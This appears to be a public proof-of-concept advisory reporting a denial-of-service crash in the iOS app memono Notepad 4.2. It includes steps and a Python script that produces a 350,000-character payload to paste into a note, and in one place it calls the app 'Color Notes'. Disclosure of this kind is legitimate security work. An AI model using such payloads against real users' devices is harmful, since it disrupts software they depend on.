memono Notepad Version 4.2 - Denial of Service (PoC)

# Exploit Title: memono Notepad Version 4.2 - Denial of Service (PoC)
# Date: 06-09-2021
# Author: Geovanni Ruiz
# Download Link: https://apps.apple.com/es/app/memono-bloc-de-notas/id906470619
# Version: 4.2
# Category: DoS (iOS)

##### Vulnerability #####

Color Notes is vulnerable to a DoS condition when a long list of characters is being used when creating a note:

# STEPS #
# Open the program.
# Create a new Note.
# Run the python exploit script payload.py, it will create a new payload.txt file
# Copy the content of the file "payload.txt"
# Paste the content from payload.txt twice in the new Note.
# Crashed

Successful exploitation will cause the application to stop working.

I have been able to test this exploit against iOS 14.2.

##### PoC #####
--> payload.py <--
#!/usr/bin/env python
buffer = "\x41" * 350000

try:
    f = open("payload.txt","w")
    f.write(buffer)
    f.close()
    print ("File created")
except:
    print ("File cannot be created")